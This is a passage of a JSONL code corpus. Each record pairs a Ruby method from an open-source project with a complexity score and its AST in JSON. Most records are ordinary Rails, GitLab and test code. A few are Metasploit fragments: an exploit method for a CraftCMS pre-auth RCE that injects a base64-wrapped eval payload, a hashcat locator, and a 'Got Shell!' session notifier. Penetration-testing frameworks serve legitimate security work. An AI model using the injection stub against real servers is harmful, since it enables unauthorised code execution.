\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_socket\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"CommandStream\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ssh_socket\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sockets\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_socket\"]},\"transport\"]},\"socket\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"cd704e9b-432e-4bb4-b07a-cdbdb7425ce3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/active_support_json.rb","start_line":11,"raw_source":"def self.use_encoder(encoder)\n previous_encoder = json_encoder\n self.json_encoder = encoder\n\n result = yield\n\n self.json_encoder = previous_encoder\n\n result\n end","complexity_score":6.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"use_encoder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_encoder\",{\"type\":\"send\",\"children\":[null,\"json_encoder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"json_encoder=\",{\"type\":\"lvar\",\"children\":[\"encoder\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"json_encoder=\",{\"type\":\"lvar\",\"children\":[\"previous_encoder\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"1c139b6e-436f-4c51-b18b-232fdae55667"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb","start_line":226,"raw_source":"def exploit\n raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)\n b64 = Rex::Text.encode_base64(raw)\n\n payload_code = \"eval(base64_decode('#{b64}'));\"\n\n print_status('Injecting stub & triggering payload...')\n execute_via_session(payload_code)\n end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Arch\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[null,\"php_exec_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_code\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"eval(base64_decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b64\"]}]},{\"type\":\"str\",\"children\":[\"'));\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Injecting stub & triggering payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_via_session\",{\"type\":\"lvar\",\"children\":[\"payload_code\"]}]}]}]}","id":"1013e950-35dd-4f04-b870-3c2395eea922"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/cracker.rb","start_line":580,"raw_source":"def get_hashcat\n # Look in the Environment PATH for the hashcat binary\n self.cracker = 'hashcat'\n Rex::FileUtils.find_full_path('hashcat') ||\n Rex::FileUtils.find_full_path('hashcat.exe')\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_hashcat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cracker=\",{\"type\":\"str\",\"children\":[\"hashcat\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"find_full_path\",{\"type\":\"str\",\"children\":[\"hashcat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"find_full_path\",{\"type\":\"str\",\"children\":[\"hashcat.exe\"]}]}]}]}]}","id":"e3b1c008-c7b8-4c78-b9c4-d2b6ee8e94ea"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/database.rb","start_line":68,"raw_source":"def self.migrations_pending?(ensure_fresh: false)\n cache_key = OpenProject::Cache::CacheKey.key(\"database_migrations\")\n cached_result = Rails.cache.read(cache_key)\n\n # Ensure cache is busted if result is positive or unset\n # and the value was cached\n if ensure_fresh || cached_result != false\n fresh_result = connection.pool.migration_context.needs_migration?\n Rails.cache.write(cache_key, expires_in: 1.hour)\n return fresh_result\n end\n\n false\n end","complexity_score":19.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"migrations_pending?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"ensure_fresh\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Cache\"]},\"CacheKey\"]},\"key\",{\"type\":\"str\",\"children\":[\"database_migrations\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cached_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"cache_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ensure_fresh\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_result\"]},\"!=\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fresh_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"pool\"]},\"migration_context\"]},\"needs_migration?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"cache_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fresh_result\"]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"8f75a570-bc5c-4de2-883a-804241d9e231"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/libnotify.rb","start_line":31,"raw_source":"def on_session_open(session)\n notify_send('normal', 'Got Shell!',\n \"New Session: #{session.sid}\\nIP: #{session.session_host}\\nPeer: #{session.tunnel_peer}\\n\"\\\n \"Platform: #{session.platform}\\nType: #{session.type}\")\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_session_open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"send\",\"children\":[null,\"notify_send\",{\"type\":\"str\",\"children\":[\"normal\"]},{\"type\":\"str\",\"children\":[\"Got Shell!\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New Session: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sid\"]}]},{\"type\":\"str\",\"children\":[\"\\nIP: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\"\\nPeer: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"tunnel_peer\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"platform\"]}]},{\"type\":\"str\",\"children\":[\"\\nType: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"type\"]}]}]}]}]}]}","id":"203446ea-6e08-4ee3-9c87-d890750acaf6"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/users/scopes/find_by_login.rb","start_line":37,"raw_source":"def by_login(login)\n where([\"LOWER(login) = ?\", login.to_s.downcase])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"login\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(login) = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"to_s\"]},\"downcase\"]}]}]}]}","id":"86e176fa-4bdd-4fe5-bd6d-0ed7f6b7254c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/process_list.rb","start_line":108,"raw_source":"def save_current_cursor_position(position)\n Gitlab::Redis::SharedState.with do |redis|\n # Set TTL to 1 week (86400 * 7 seconds)\n redis.set(cursor_tracker_key, position, ex: 604_800)\n log_info(\"Saved current cursor position: #{position}\")\n end\n end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"save_current_cursor_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"position\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"cursor_tracker_key\"]},{\"type\":\"lvar\",\"children\":[\"position\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ex\"]},{\"type\":\"int\",\"children\":[604800]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Saved current cursor position: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"position\"]}]}]}]}]}]}]}","id":"66cd156e-da9b-4165-9e15-0ce5ea6b524d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/git_deduplication_service.rb","start_line":37,"raw_source":"def pool_can_fetch_from_source?\n project.git_objects_poolable? &&\n same_storage_as_pool?(pool_repository.source_project.repository)\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pool_can_fetch_from_source?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"git_objects_poolable?\"]},{\"type\":\"send\",\"children\":[null,\"same_storage_as_pool?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool_repository\"]},\"source_project\"]},\"repository\"]}]}]}]}","id":"3da6485c-73de-452f-8351-027bde2f1639"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/cleanup/orphan_job_artifact_files_batch_spec.rb","start_line":45,"raw_source":"def artifact_path(job_artifact)\n Pathname.new(job_artifact.file.path).parent.to_s\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"artifact_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_artifact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_artifact\"]},\"file\"]},\"path\"]}]},\"parent\"]},\"to_s\"]}]}","id":"934bc988-c5d8-453d-be73-548fb91cd080"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/numeric_literal_prefix.rb","start_line":68,"raw_source":"def literal_type(node)\n literal = integer_part(node)\n\n octal_literal_type(literal) || hex_bin_dec_literal_type(literal)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"literal_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"literal\",{\"type\":\"send\",\"children\":[null,\"integer_part\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"octal_literal_type\",{\"type\":\"lvar\",\"children\":[\"literal\"]}]},{\"type\":\"send\",\"children\":[null,\"hex_bin_dec_literal_type\",{\"type\":\"lvar\",\"children\":[\"literal\"]}]}]}]}]}","id":"986a0dd4-b731-4187-a1f1-0a5b67f137b5"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job_retry.rb","start_line":75,"raw_source":"def initialize(capsule)\n @config = @capsule = capsule\n @max_retries = Sidekiq.default_configuration[:max_retries] || DEFAULT_MAX_RETRY_ATTEMPTS\n @backtrace_cleaner = Sidekiq.default_configuration[:backtrace_cleaner]\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"capsule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"ivasgn\",\"children\":[\"@capsule\",{\"type\":\"lvar\",\"children\":[\"capsule\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_retries\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_retries\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_RETRY_ATTEMPTS\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@backtrace_cleaner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"backtrace_cleaner\"]}]}]}]}]}","id":"3d73a01b-c045-42a3-bfd4-55cf9270ad01"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":786,"raw_source":"def last_commit_id_for_path(sha, path, literal_pathspec: false)\n key = path.blank? ? \"last_commit_id_for_path:#{sha}\" : \"last_commit_id_for_path:#{sha}:#{Digest::SHA1.hexdigest(path)}\"\n\n cache.fetch(key) do\n last_commit_for_path(sha, path, literal_pathspec: literal_pathspec)&.id\n end\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"last_commit_id_for_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"literal_pathspec\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"blank?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"last_commit_id_for_path:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"last_commit_id_for_path:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_commit_for_path\",{\"type\":\"lvar\",\"children\":[\"sha\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"literal_pathspec\"]},{\"type\":\"lvar\",\"children\":[\"literal_pathspec\"]}]}]}]},\"id\"]}]}]}]}","id":"ad975af5-190d-4011-8525-cea4dada883b"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_generator_test.rb","start_line":626,"raw_source":"def test_scaffold_tests_pass_by_default_inside_api_full_engine\n engine_path = File.join(destination_root, \"bukkits\")\n\n with_new_plugin(engine_path, \"--full\", \"--api\") do\n quietly do\n `bin/rails g scaffold User name:string age:integer;\n bin/rails db:migrate`\n end\n assert_match(/6 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)\n end\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_tests_pass_by_default_inside_api_full_engine\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"engine_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"bukkits\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_new_plugin\",{\"type\":\"lvar\",\"children\":[\"engine_path\"]},{\"type\":\"str\",\"children\":[\"--full\"]},{\"type\":\"str\",\"children\":[\"--api\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quietly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails g scaffold User name:string age:integer;\\n\"]},{\"type\":\"str\",\"children\":[\" bin/rails db:migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"6 runs, 10 assertions, 0 failures, 0 errors\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails test 2>&1\"]}]}]}]}]}]}]}","id":"7da07f82-16b6-4a79-be0e-17e3acebc483"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_holidays_between.rb","start_line":64,"raw_source":"def test_options_are_parsed\n start_date = Date.civil(2015, 1, 1)\n end_date = Date.civil(2015, 1, 31)\n options = [:us]\n\n between_mock = mock()\n Holidays::Factory::Finder.stubs(:between).returns(between_mock)\n between_mock.expects(:call).with(start_date, end_date, [:us])\n\n @subject.call(start_date, end_date, *options)\n end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_options_are_parsed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[31]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"between_mock\",{\"type\":\"send\",\"children\":[null,\"mock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Factory\"]},\"Finder\"]},\"stubs\",{\"type\":\"sym\",\"children\":[\"between\"]}]},\"returns\",{\"type\":\"lvar\",\"children\":[\"between_mock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"between_mock\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"eba003fe-2eef-4932-b6f8-d8d002372773"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/tag_serializer.rb","start_line":11,"raw_source":"def id\n object.id.to_s\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]},\"to_s\"]}]}","id":"e780f5e8-c022-44ba-8bad-3b97801c1c7b"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":1196,"raw_source":"def test_recall_params_should_not_be_changed\n get :recall_params_not_changed\n assert_equal \"/url_helper_controller_test/url_helper/show_url_for\", @response.body\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_recall_params_should_not_be_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"recall_params_not_changed\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/url_helper_controller_test/url_helper/show_url_for\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"beeab44d-0e61-418b-af35-2f981ed63b31"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/abstract_controller_test.rb","start_line":262,"raw_source":"def assert_dispatch(klass, body = \"success\", action = :index)\n controller = klass.new\n controller.process(action)\n assert_equal body, controller.response_body\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_dispatch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"optarg\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"success\"]}]},{\"type\":\"optarg\",\"children\":[\"action\",{\"type\":\"sym\",\"children\":[\"index\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"process\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"response_body\"]}]}]}]}","id":"40f52713-3de0-42b2-b36c-a0a9bc65e987"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter.rb","start_line":367,"raw_source":"def init_ui(input, output)\n self.user_input = input\n self.user_output = output\n console.init_ui(input, output)\n console.set_log_source(log_source)\n\n super\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"init_ui\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_input=\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_output=\",{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console\"]},\"init_ui\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console\"]},\"set_log_source\",{\"type\":\"send\",\"children\":[null,\"log_source\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"468ceceb-4fb9-45bf-bef2-e6074c146756"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service.rb","start_line":104,"raw_source":"def update_jobs_processed!\n processing = @collection.processing_jobs\n processing.each_slice(BATCH_SIZE) do |slice|\n pipeline.all_jobs.match_id_and_lock_version(slice)\n .update_as_processed!\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_jobs_processed!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"processing\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"processing_jobs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processing\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slice\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"all_jobs\"]},\"match_id_and_lock_version\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]},\"update_as_processed!\"]}]}]}]}","id":"52990f15-8385-4b29-870d-b67054a0383e"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/rake_task.rb","start_line":159,"raw_source":"def file_exclusion_specification\n \" --exclude-pattern #{escape exclude_pattern}\" if exclude_pattern\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"file_exclusion_specification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclude_pattern\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" --exclude-pattern 